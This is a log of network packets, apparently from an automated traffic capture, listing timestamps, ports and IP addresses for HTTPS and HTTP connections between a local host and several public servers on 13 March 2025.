Mar 13, 2025 18:11:54.538913965 CET	49708	443	192.168.2.4	52.113.196.254
Mar 13, 2025 18:11:54.543056011 CET	443	49708	52.113.196.254	192.168.2.4
Mar 13, 2025 18:11:54.543628931 CET	443	49708	52.113.196.254	192.168.2.4
Mar 13, 2025 18:11:54.543643951 CET	443	49708	52.113.196.254	192.168.2.4
Mar 13, 2025 18:11:54.557398081 CET	49721	443	192.168.2.4	172.217.18.4
Mar 13, 2025 18:11:54.557416916 CET	443	49721	172.217.18.4	192.168.2.4
Mar 13, 2025 18:11:54.604465961 CET	49721	443	192.168.2.4	172.217.18.4
Mar 13, 2025 18:11:54.639487982 CET	443	49708	52.113.196.254	192.168.2.4
Mar 13, 2025 18:11:54.639549971 CET	49708	443	192.168.2.4	52.113.196.254
Mar 13, 2025 18:11:54.640419006 CET	49708	443	192.168.2.4	52.113.196.254
Mar 13, 2025 18:11:54.645128012 CET	443	49708	52.113.196.254	192.168.2.4
Mar 13, 2025 18:11:54.735832930 CET	443	49708	52.113.196.254	192.168.2.4
Mar 13, 2025 18:11:54.735877991 CET	49708	443	192.168.2.4	52.113.196.254
Mar 13, 2025 18:11:54.787090063 CET	49708	443	192.168.2.4	52.113.196.254
Mar 13, 2025 18:11:54.791743040 CET	443	49708	52.113.196.254	192.168.2.4
Mar 13, 2025 18:11:54.888268948 CET	443	49708	52.113.196.254	192.168.2.4
Mar 13, 2025 18:11:54.888330936 CET	49708	443	192.168.2.4	52.113.196.254
Mar 13, 2025 18:11:54.927489996 CET	49728	443	192.168.2.4	131.253.33.254
Mar 13, 2025 18:11:54.927527905 CET	443	49728	131.253.33.254	192.168.2.4
Mar 13, 2025 18:11:54.927608013 CET	49728	443	192.168.2.4	131.253.33.254
Mar 13, 2025 18:11:54.927997112 CET	49728	443	192.168.2.4	131.253.33.254
Mar 13, 2025 18:11:54.928009033 CET	443	49728	131.253.33.254	192.168.2.4
Mar 13, 2025 18:11:55.027734041 CET	49729	80	192.168.2.4	142.250.185.99
Mar 13, 2025 18:11:55.032500982 CET	80	49729	142.250.185.99	192.168.2.4
Mar 13, 2025 18:11:55.032597065 CET	49729	80	192.168.2.4	142.250.185.99
Mar 13, 2025 18:11:55.032785892 CET	49729	80	192.168.2.4	142.250.185.99
Mar 13, 2025 18:11:55.037436008 CET	80	49729	142.250.185.99	192.168.2.4
Mar 13, 2025 18:11:55.646433115 CET	80	49729	142.250.185.99	192.168.2.4
Mar 13, 2025 18:11:55.653630018 CET	49729	80	192.168.2.4	142.250.185.99
Mar 13, 2025 18:11:55.658335924 CET	80	49729	142.250.185.99	192.168.2.4
Mar 13, 2025 18:11:55.834391117 CET	80	49729	142.250.185.99	192.168.2.4
Mar 13, 2025 18:11:55.889131069 CET	49729	80	192.168.2.4	142.250.185.99
Mar 13, 2025 18:11:56.599657059 CET	443	49728	131.253.33.254	192.168.2.4
Mar 13, 2025 18:11:56.599741936 CET	49728	443	192.168.2.4	131.253.33.254
Mar 13, 2025 18:11:56.914155960 CET	443	49725	172.67.190.49	192.168.2.4
Mar 13, 2025 18:11:56.914179087 CET	443	49725	172.67.190.49	192.168.2.4
Mar 13, 2025 18:11:56.914226055 CET	49725	443	192.168.2.4	172.67.190.49
Mar 13, 2025 18:11:56.914249897 CET	443	49725	172.67.190.49	192.168.2.4
Mar 13, 2025 18:11:56.923429012 CET	49725	443	192.168.2.4	172.67.190.49
Mar 13, 2025 18:11:56.923443079 CET	443	49725	172.67.190.49	192.168.2.4
Mar 13, 2025 18:11:56.923739910 CET	49725	443	192.168.2.4	172.67.190.49
Mar 13, 2025 18:11:56.923743963 CET	443	49725	172.67.190.49	192.168.2.4
Mar 13, 2025 18:11:56.924105883 CET	49725	443	192.168.2.4	172.67.190.49
Mar 13, 2025 18:11:56.924110889 CET	443	49725	172.67.190.49	192.168.2.4
Mar 13, 2025 18:11:56.998030901 CET	443	49726	172.67.190.49	192.168.2.4
Mar 13, 2025 18:11:57.003720045 CET	443	49726	172.67.190.49	192.168.2.4
Mar 13, 2025 18:11:57.003778934 CET	49726	443	192.168.2.4	172.67.190.49
Mar 13, 2025 18:11:57.003803968 CET	443	49726	172.67.190.49	192.168.2.4
Mar 13, 2025 18:11:57.004268885 CET	49726	443	192.168.2.4	172.67.190.49
Mar 13, 2025 18:11:57.004280090 CET	443	49726	172.67.190.49	192.168.2.4
Mar 13, 2025 18:11:57.341933966 CET	443	49725	172.67.190.49	192.168.2.4
Mar 13, 2025 18:11:57.342279911 CET	49725	443	192.168.2.4	172.67.190.49
Mar 13, 2025 18:11:57.342309952 CET	443	49725	172.67.190.49	192.168.2.4
Mar 13, 2025 18:11:57.375933886 CET	443	49726	172.67.190.49	192.168.2.4
Mar 13, 2025 18:11:57.420694113 CET	49726	443	192.168.2.4	172.67.190.49
Mar 13, 2025 18:11:57.437927008 CET	443	49725	172.67.190.49	192.168.2.4
Mar 13, 2025 18:11:57.482691050 CET	49725	443	192.168.2.4	172.67.190.49
Mar 13, 2025 18:11:57.656419992 CET	443	49725	172.67.190.49	192.168.2.4
Mar 13, 2025 18:11:57.667444944 CET	443	49725	172.67.190.49	192.168.2.4
Mar 13, 2025 18:11:57.668061972 CET	49725	443	192.168.2.4	172.67.190.49
Mar 13, 2025 18:11:57.668090105 CET	443	49725	172.67.190.49	192.168.2.4
Mar 13, 2025 18:11:57.678419113 CET	49725	443	192.168.2.4	172.67.190.49
Mar 13, 2025 18:11:57.678419113 CET	49725	443	192.168.2.4	172.67.190.49
Mar 13, 2025 18:11:57.678428888 CET	443	49725	172.67.190.49	192.168.2.4
Mar 13, 2025 18:11:57.678442001 CET	443	49725	172.67.190.49	192.168.2.4
Mar 13, 2025 18:11:58.251534939 CET	443	49725	172.67.190.49	192.168.2.4
Mar 13, 2025 18:11:58.265702963 CET	443	49725	172.67.190.49	192.168.2.4
Mar 13, 2025 18:11:58.266000986 CET	49725	443	192.168.2.4	172.67.190.49
Mar 13, 2025 18:11:58.266016006 CET	443	49725	172.67.190.49	192.168.2.4
Mar 13, 2025 18:11:58.307703018 CET	49725	443	192.168.2.4	172.67.190.49
Mar 13, 2025 18:11:58.356544018 CET	443	49725	172.67.190.49	192.168.2.4
Mar 13, 2025 18:11:58.410825014 CET	49725	443	192.168.2.4	172.67.190.49
Mar 13, 2025 18:11:58.524599075 CET	49725	443	192.168.2.4	172.67.190.49
Mar 13, 2025 18:11:58.524612904 CET	443	49725	172.67.190.49	192.168.2.4
Mar 13, 2025 18:11:58.574440956 CET	49725	443	192.168.2.4	172.67.190.49
Mar 13, 2025 18:11:58.574455976 CET	443	49725	172.67.190.49	192.168.2.4
Mar 13, 2025 18:11:58.911063910 CET	443	49725	172.67.190.49	192.168.2.4
Mar 13, 2025 18:11:58.950902939 CET	49725	443	192.168.2.4	172.67.190.49
Mar 13, 2025 18:11:59.033943892 CET	49678	443	192.168.2.4	20.189.173.27
Mar 13, 2025 18:11:59.234805107 CET	443	49725	172.67.190.49	192.168.2.4
Mar 13, 2025 18:11:59.261384964 CET	49725	443	192.168.2.4	172.67.190.49
Mar 13, 2025 18:11:59.261440992 CET	443	49725	172.67.190.49	192.168.2.4
Mar 13, 2025 18:11:59.264899015 CET	49735	443	192.168.2.4	35.190.80.1
Mar 13, 2025 18:11:59.264934063 CET	443	49735	35.190.80.1	192.168.2.4
Mar 13, 2025 18:11:59.265000105 CET	49735	443	192.168.2.4	35.190.80.1
Mar 13, 2025 18:11:59.265450001 CET	49735	443	192.168.2.4	35.190.80.1
Mar 13, 2025 18:11:59.265465021 CET	443	49735	35.190.80.1	192.168.2.4
Mar 13, 2025 18:11:59.325413942 CET	443	49725	172.67.190.49	192.168.2.4
Mar 13, 2025 18:11:59.369836092 CET	49725	443	192.168.2.4	172.67.190.49
Mar 13, 2025 18:11:59.642899036 CET	443	49725	172.67.190.49	192.168.2.4
Mar 13, 2025 18:11:59.642966986 CET	49725	443	192.168.2.4	172.67.190.49
Mar 13, 2025 18:11:59.656938076 CET	443	49725	172.67.190.49	192.168.2.4
Mar 13, 2025 18:11:59.656980038 CET	443	49725	172.67.190.49	192.168.2.4
Mar 13, 2025 18:11:59.657031059 CET	49725	443	192.168.2.4	172.67.190.49
Mar 13, 2025 18:11:59.836148977 CET	49725	443	192.168.2.4	172.67.190.49
Mar 13, 2025 18:11:59.836173058 CET	443	49725	172.67.190.49	192.168.2.4
Mar 13, 2025 18:11:59.836245060 CET	49725	443	192.168.2.4	172.67.190.49
Mar 13, 2025 18:11:59.836261988 CET	443	49725	172.67.190.49	192.168.2.4
Mar 13, 2025 18:11:59.836270094 CET	49725	443	192.168.2.4	172.67.190.49
Mar 13, 2025 18:11:59.836276054 CET	443	49725	172.67.190.49	192.168.2.4
Mar 13, 2025 18:11:59.922506094 CET	49671	443	192.168.2.4	204.79.197.203
Mar 13, 2025 18:12:00.243520975 CET	443	49725	172.67.190.49	192.168.2.4
Mar 13, 2025 18:12:00.293883085 CET	49725	443	192.168.2.4	172.67.190.49
Mar 13, 2025 18:12:00.334311008 CET	443	49725	172.67.190.49	192.168.2.4
Mar 13, 2025 18:12:00.384813070 CET	49725	443	192.168.2.4	172.67.190.49
Mar 13, 2025 18:12:00.408456087 CET	49721	443	192.168.2.4	172.217.18.4
Mar 13, 2025 18:12:00.456319094 CET	443	49721	172.217.18.4	192.168.2.4
Mar 13, 2025 18:12:00.458925962 CET	49736	443	192.168.2.4	172.67.190.49
Mar 13, 2025 18:12:00.458961010 CET	443	49736	172.67.190.49	192.168.2.4
Mar 13, 2025 18:12:00.459131956 CET	49736	443	192.168.2.4	172.67.190.49
Mar 13, 2025 18:12:00.459613085 CET	49736	443	192.168.2.4	172.67.190.49
Mar 13, 2025 18:12:00.459638119 CET	443	49736	172.67.190.49	192.168.2.4
Mar 13, 2025 18:12:00.860567093 CET	443	49735	35.190.80.1	192.168.2.4
Mar 13, 2025 18:12:00.860945940 CET	49735	443	192.168.2.4	35.190.80.1
Mar 13, 2025 18:12:00.860964060 CET	443	49735	35.190.80.1	192.168.2.4
Mar 13, 2025 18:12:00.861867905 CET	443	49735	35.190.80.1	192.168.2.4
Mar 13, 2025 18:12:00.861939907 CET	49735	443	192.168.2.4	35.190.80.1
Mar 13, 2025 18:12:00.863130093 CET	49735	443	192.168.2.4	35.190.80.1
Mar 13, 2025 18:12:00.863190889 CET	443	49735	35.190.80.1	192.168.2.4
Mar 13, 2025 18:12:00.863342047 CET	49735	443	192.168.2.4	35.190.80.1
Mar 13, 2025 18:12:00.863352060 CET	443	49735	35.190.80.1	192.168.2.4
Mar 13, 2025 18:12:00.917289019 CET	49735	443	192.168.2.4	35.190.80.1
Mar 13, 2025 18:12:00.935947895 CET	443	49721	172.217.18.4	192.168.2.4
Mar 13, 2025 18:12:00.936170101 CET	443	49721	172.217.18.4	192.168.2.4
Mar 13, 2025 18:12:00.936222076 CET	49721	443	192.168.2.4	172.217.18.4
Mar 13, 2025 18:12:00.937110901 CET	49721	443	192.168.2.4	172.217.18.4
Mar 13, 2025 18:12:00.937131882 CET	443	49721	172.217.18.4	192.168.2.4
Mar 13, 2025 18:12:01.339185953 CET	443	49735	35.190.80.1	192.168.2.4
Mar 13, 2025 18:12:01.340277910 CET	49735	443	192.168.2.4	35.190.80.1
Mar 13, 2025 18:12:01.340328932 CET	443	49735	35.190.80.1	192.168.2.4
Mar 13, 2025 18:12:01.340526104 CET	443	49735	35.190.80.1	192.168.2.4
Mar 13, 2025 18:12:01.340840101 CET	49737	443	192.168.2.4	35.190.80.1
Mar 13, 2025 18:12:01.340893030 CET	443	49737	35.190.80.1	192.168.2.4
Mar 13, 2025 18:12:01.340920925 CET	49735	443	192.168.2.4	35.190.80.1
Mar 13, 2025 18:12:01.340920925 CET	49735	443	192.168.2.4	35.190.80.1
Mar 13, 2025 18:12:01.343415976 CET	49737	443	192.168.2.4	35.190.80.1
Mar 13, 2025 18:12:01.343947887 CET	49737	443	192.168.2.4	35.190.80.1
Mar 13, 2025 18:12:01.343961000 CET	443	49737	35.190.80.1	192.168.2.4
Mar 13, 2025 18:12:02.076093912 CET	49738	443	192.168.2.4	216.24.57.1
Mar 13, 2025 18:12:02.076148033 CET	443	49738	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:02.076231003 CET	49738	443	192.168.2.4	216.24.57.1
Mar 13, 2025 18:12:02.076611996 CET	49738	443	192.168.2.4	216.24.57.1
Mar 13, 2025 18:12:02.076623917 CET	443	49738	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:02.772586107 CET	443	49737	35.190.80.1	192.168.2.4
Mar 13, 2025 18:12:02.772953033 CET	49737	443	192.168.2.4	35.190.80.1
Mar 13, 2025 18:12:02.772964001 CET	443	49737	35.190.80.1	192.168.2.4
Mar 13, 2025 18:12:02.773997068 CET	443	49737	35.190.80.1	192.168.2.4
Mar 13, 2025 18:12:02.774053097 CET	49737	443	192.168.2.4	35.190.80.1
Mar 13, 2025 18:12:02.774447918 CET	49737	443	192.168.2.4	35.190.80.1
Mar 13, 2025 18:12:02.774496078 CET	443	49737	35.190.80.1	192.168.2.4
Mar 13, 2025 18:12:02.774596930 CET	49737	443	192.168.2.4	35.190.80.1
Mar 13, 2025 18:12:02.820316076 CET	443	49737	35.190.80.1	192.168.2.4
Mar 13, 2025 18:12:02.822416067 CET	49737	443	192.168.2.4	35.190.80.1
Mar 13, 2025 18:12:02.822423935 CET	443	49737	35.190.80.1	192.168.2.4
Mar 13, 2025 18:12:02.872000933 CET	49737	443	192.168.2.4	35.190.80.1
Mar 13, 2025 18:12:03.094739914 CET	443	49736	172.67.190.49	192.168.2.4
Mar 13, 2025 18:12:03.094811916 CET	49736	443	192.168.2.4	172.67.190.49
Mar 13, 2025 18:12:03.095463991 CET	49736	443	192.168.2.4	172.67.190.49
Mar 13, 2025 18:12:03.095472097 CET	443	49736	172.67.190.49	192.168.2.4
Mar 13, 2025 18:12:03.095623016 CET	49736	443	192.168.2.4	172.67.190.49
Mar 13, 2025 18:12:03.095626116 CET	443	49736	172.67.190.49	192.168.2.4
Mar 13, 2025 18:12:03.095765114 CET	49736	443	192.168.2.4	172.67.190.49
Mar 13, 2025 18:12:03.095768929 CET	443	49736	172.67.190.49	192.168.2.4
Mar 13, 2025 18:12:03.256251097 CET	443	49737	35.190.80.1	192.168.2.4
Mar 13, 2025 18:12:03.256660938 CET	49737	443	192.168.2.4	35.190.80.1
Mar 13, 2025 18:12:03.256731033 CET	443	49737	35.190.80.1	192.168.2.4
Mar 13, 2025 18:12:03.256786108 CET	49737	443	192.168.2.4	35.190.80.1
Mar 13, 2025 18:12:03.466003895 CET	443	49736	172.67.190.49	192.168.2.4
Mar 13, 2025 18:12:03.466363907 CET	49736	443	192.168.2.4	172.67.190.49
Mar 13, 2025 18:12:03.466392994 CET	443	49736	172.67.190.49	192.168.2.4
Mar 13, 2025 18:12:03.560412884 CET	443	49736	172.67.190.49	192.168.2.4
Mar 13, 2025 18:12:03.619260073 CET	49736	443	192.168.2.4	172.67.190.49
Mar 13, 2025 18:12:03.797391891 CET	443	49736	172.67.190.49	192.168.2.4
Mar 13, 2025 18:12:03.844908953 CET	49736	443	192.168.2.4	172.67.190.49
Mar 13, 2025 18:12:04.862565994 CET	443	49738	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:04.862627029 CET	49738	443	192.168.2.4	216.24.57.1
Mar 13, 2025 18:12:04.865567923 CET	49738	443	192.168.2.4	216.24.57.1
Mar 13, 2025 18:12:04.865582943 CET	443	49738	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:04.865737915 CET	49738	443	192.168.2.4	216.24.57.1
Mar 13, 2025 18:12:04.865742922 CET	443	49738	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:04.866013050 CET	49738	443	192.168.2.4	216.24.57.1
Mar 13, 2025 18:12:04.866018057 CET	443	49738	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:05.277935982 CET	443	49738	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:05.278337955 CET	49738	443	192.168.2.4	216.24.57.1
Mar 13, 2025 18:12:05.278377056 CET	443	49738	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:05.374234915 CET	443	49738	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:05.419101954 CET	49738	443	192.168.2.4	216.24.57.1
Mar 13, 2025 18:12:05.507082939 CET	443	49738	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:05.510346889 CET	49738	443	192.168.2.4	216.24.57.1
Mar 13, 2025 18:12:05.510379076 CET	443	49738	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:06.014337063 CET	443	49738	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:06.057606936 CET	49738	443	192.168.2.4	216.24.57.1
Mar 13, 2025 18:12:06.146429062 CET	443	49738	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:06.198162079 CET	49738	443	192.168.2.4	216.24.57.1
Mar 13, 2025 18:12:06.480515003 CET	49739	80	192.168.2.4	216.24.57.1
Mar 13, 2025 18:12:06.480654001 CET	49740	80	192.168.2.4	216.24.57.1
Mar 13, 2025 18:12:06.487489939 CET	80	49739	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:06.487502098 CET	80	49740	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:06.490051031 CET	49739	80	192.168.2.4	216.24.57.1
Mar 13, 2025 18:12:06.490286112 CET	49740	80	192.168.2.4	216.24.57.1
Mar 13, 2025 18:12:06.526460886 CET	49741	443	192.168.2.4	216.24.57.1
Mar 13, 2025 18:12:06.526483059 CET	443	49741	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:06.526588917 CET	49741	443	192.168.2.4	216.24.57.1
Mar 13, 2025 18:12:06.527009010 CET	49741	443	192.168.2.4	216.24.57.1
Mar 13, 2025 18:12:06.527025938 CET	443	49741	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:06.720839977 CET	49742	443	192.168.2.4	216.24.57.1
Mar 13, 2025 18:12:06.720875025 CET	443	49742	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:06.721002102 CET	49742	443	192.168.2.4	216.24.57.1
Mar 13, 2025 18:12:06.721084118 CET	49743	443	192.168.2.4	216.24.57.1
Mar 13, 2025 18:12:06.721129894 CET	443	49743	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:06.721425056 CET	49743	443	192.168.2.4	216.24.57.1
Mar 13, 2025 18:12:06.721573114 CET	49742	443	192.168.2.4	216.24.57.1
Mar 13, 2025 18:12:06.721591949 CET	443	49742	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:06.721853971 CET	49743	443	192.168.2.4	216.24.57.1
Mar 13, 2025 18:12:06.721868038 CET	443	49743	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:08.638684988 CET	49678	443	192.168.2.4	20.189.173.27
Mar 13, 2025 18:12:09.171255112 CET	49740	80	192.168.2.4	216.24.57.1
Mar 13, 2025 18:12:09.175976992 CET	80	49740	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:09.335311890 CET	443	49741	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:09.340338945 CET	443	49741	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:09.345124960 CET	49741	443	192.168.2.4	216.24.57.1
Mar 13, 2025 18:12:09.363719940 CET	80	49740	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:09.384960890 CET	443	49742	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:09.384982109 CET	443	49742	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:09.391592979 CET	49742	443	192.168.2.4	216.24.57.1
Mar 13, 2025 18:12:09.391618013 CET	443	49742	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:09.409744024 CET	49740	80	192.168.2.4	216.24.57.1
Mar 13, 2025 18:12:09.425823927 CET	49741	443	192.168.2.4	216.24.57.1
Mar 13, 2025 18:12:09.425833941 CET	443	49741	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:09.442451954 CET	49742	443	192.168.2.4	216.24.57.1
Mar 13, 2025 18:12:09.467323065 CET	443	49743	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:09.477385044 CET	443	49742	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:09.485786915 CET	443	49743	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:09.492326021 CET	443	49743	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:09.492358923 CET	49743	443	192.168.2.4	216.24.57.1
Mar 13, 2025 18:12:09.492978096 CET	49742	443	192.168.2.4	216.24.57.1
Mar 13, 2025 18:12:09.493002892 CET	443	49742	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:09.493052006 CET	49741	443	192.168.2.4	216.24.57.1
Mar 13, 2025 18:12:09.493071079 CET	443	49741	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:09.497484922 CET	49743	443	192.168.2.4	216.24.57.1
Mar 13, 2025 18:12:09.497495890 CET	443	49743	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:09.497575045 CET	49741	443	192.168.2.4	216.24.57.1
Mar 13, 2025 18:12:09.497581959 CET	443	49741	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:09.497601032 CET	49742	443	192.168.2.4	216.24.57.1
Mar 13, 2025 18:12:09.497606039 CET	443	49742	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:09.497719049 CET	49742	443	192.168.2.4	216.24.57.1
Mar 13, 2025 18:12:09.497723103 CET	443	49742	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:09.799988031 CET	443	49741	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:09.800249100 CET	49741	443	192.168.2.4	216.24.57.1
Mar 13, 2025 18:12:09.800273895 CET	443	49741	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:09.862328053 CET	443	49742	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:09.862535954 CET	49742	443	192.168.2.4	216.24.57.1
Mar 13, 2025 18:12:09.862557888 CET	443	49742	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:09.886827946 CET	443	49743	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:09.913475037 CET	443	49741	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:09.927833080 CET	49743	443	192.168.2.4	216.24.57.1
Mar 13, 2025 18:12:09.959918022 CET	443	49742	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:09.965805054 CET	49741	443	192.168.2.4	216.24.57.1
Mar 13, 2025 18:12:10.012871027 CET	49742	443	192.168.2.4	216.24.57.1
Mar 13, 2025 18:12:10.034202099 CET	443	49741	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:10.059705019 CET	49744	443	192.168.2.4	104.21.88.234
Mar 13, 2025 18:12:10.059752941 CET	443	49744	104.21.88.234	192.168.2.4
Mar 13, 2025 18:12:10.067816973 CET	49744	443	192.168.2.4	104.21.88.234
Mar 13, 2025 18:12:10.068618059 CET	49744	443	192.168.2.4	104.21.88.234
Mar 13, 2025 18:12:10.068633080 CET	443	49744	104.21.88.234	192.168.2.4
Mar 13, 2025 18:12:10.074632883 CET	49741	443	192.168.2.4	216.24.57.1
Mar 13, 2025 18:12:10.095912933 CET	443	49742	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:10.136090040 CET	49742	443	192.168.2.4	216.24.57.1
Mar 13, 2025 18:12:12.738806009 CET	443	49744	104.21.88.234	192.168.2.4
Mar 13, 2025 18:12:12.739267111 CET	49744	443	192.168.2.4	104.21.88.234
Mar 13, 2025 18:12:12.825364113 CET	443	49744	104.21.88.234	192.168.2.4
Mar 13, 2025 18:12:12.828205109 CET	49744	443	192.168.2.4	104.21.88.234
Mar 13, 2025 18:12:12.828234911 CET	443	49744	104.21.88.234	192.168.2.4
Mar 13, 2025 18:12:12.828370094 CET	49744	443	192.168.2.4	104.21.88.234
Mar 13, 2025 18:12:12.828377962 CET	443	49744	104.21.88.234	192.168.2.4
Mar 13, 2025 18:12:12.828532934 CET	49744	443	192.168.2.4	104.21.88.234
Mar 13, 2025 18:12:12.828538895 CET	443	49744	104.21.88.234	192.168.2.4
Mar 13, 2025 18:12:13.197702885 CET	443	49744	104.21.88.234	192.168.2.4
Mar 13, 2025 18:12:13.197978020 CET	49744	443	192.168.2.4	104.21.88.234
Mar 13, 2025 18:12:13.198003054 CET	443	49744	104.21.88.234	192.168.2.4
Mar 13, 2025 18:12:13.289422989 CET	443	49744	104.21.88.234	192.168.2.4
Mar 13, 2025 18:12:13.338956118 CET	49744	443	192.168.2.4	104.21.88.234
Mar 13, 2025 18:12:13.418567896 CET	443	49744	104.21.88.234	192.168.2.4
Mar 13, 2025 18:12:13.466037989 CET	49744	443	192.168.2.4	104.21.88.234
Mar 13, 2025 18:12:13.855248928 CET	49745	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:13.855302095 CET	443	49745	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:13.856340885 CET	49745	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:13.856782913 CET	49745	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:13.856807947 CET	443	49745	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:14.631041050 CET	49738	443	192.168.2.4	216.24.57.1
Mar 13, 2025 18:12:14.631067991 CET	443	49738	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:15.727679014 CET	443	49738	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:15.729481936 CET	49738	443	192.168.2.4	216.24.57.1
Mar 13, 2025 18:12:15.729516029 CET	443	49738	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:15.729667902 CET	49738	443	192.168.2.4	216.24.57.1
Mar 13, 2025 18:12:15.729672909 CET	443	49738	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:16.463047028 CET	443	49745	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:16.463447094 CET	49745	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:16.463474035 CET	443	49745	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:16.464400053 CET	443	49745	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:16.464471102 CET	49745	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:16.467782021 CET	49745	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:16.467997074 CET	443	49745	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:16.468750954 CET	49745	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:16.468760967 CET	443	49745	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:16.469558001 CET	443	49738	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:16.512090921 CET	49745	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:16.512310028 CET	49738	443	192.168.2.4	216.24.57.1
Mar 13, 2025 18:12:16.754374027 CET	49745	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:16.754487991 CET	443	49745	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:16.754602909 CET	49745	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:16.764044046 CET	49741	443	192.168.2.4	216.24.57.1
Mar 13, 2025 18:12:16.764086008 CET	443	49741	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:16.769136906 CET	49742	443	192.168.2.4	216.24.57.1
Mar 13, 2025 18:12:16.769170046 CET	443	49742	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:17.234169960 CET	443	49741	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:17.234836102 CET	49741	443	192.168.2.4	216.24.57.1
Mar 13, 2025 18:12:17.234850883 CET	443	49741	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:17.236603975 CET	49744	443	192.168.2.4	104.21.88.234
Mar 13, 2025 18:12:17.236634970 CET	443	49744	104.21.88.234	192.168.2.4
Mar 13, 2025 18:12:17.293339968 CET	443	49742	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:17.294270992 CET	49742	443	192.168.2.4	216.24.57.1
Mar 13, 2025 18:12:17.294305086 CET	443	49742	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:17.320681095 CET	443	49741	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:17.320888042 CET	49741	443	192.168.2.4	216.24.57.1
Mar 13, 2025 18:12:17.320902109 CET	443	49741	216.24.57.1	192.168.2.4
Mar 13, 2025 18:12:17.659499884 CET	443	49744	104.21.88.234	192.168.2.4
Mar 13, 2025 18:12:17.660466909 CET	49744	443	192.168.2.4	104.21.88.234
Mar 13, 2025 18:12:17.660509109 CET	443	49744	104.21.88.234	192.168.2.4
Mar 13, 2025 18:12:17.662648916 CET	49746	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:17.662686110 CET	443	49746	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:17.662741899 CET	49746	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:17.663089991 CET	49746	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:17.663108110 CET	443	49746	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:17.745812893 CET	443	49744	104.21.88.234	192.168.2.4
Mar 13, 2025 18:12:17.790621042 CET	49744	443	192.168.2.4	104.21.88.234
Mar 13, 2025 18:12:19.199549913 CET	443	49746	76.76.21.21	192.168.2.4
Mar 13, 2025 18:12:19.247746944 CET	49746	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:19.248014927 CET	49746	443	192.168.2.4	76.76.21.21
Mar 13, 2025 18:12:19.248027086 CET	443	49746	76.76.21.21	192.168.2.4
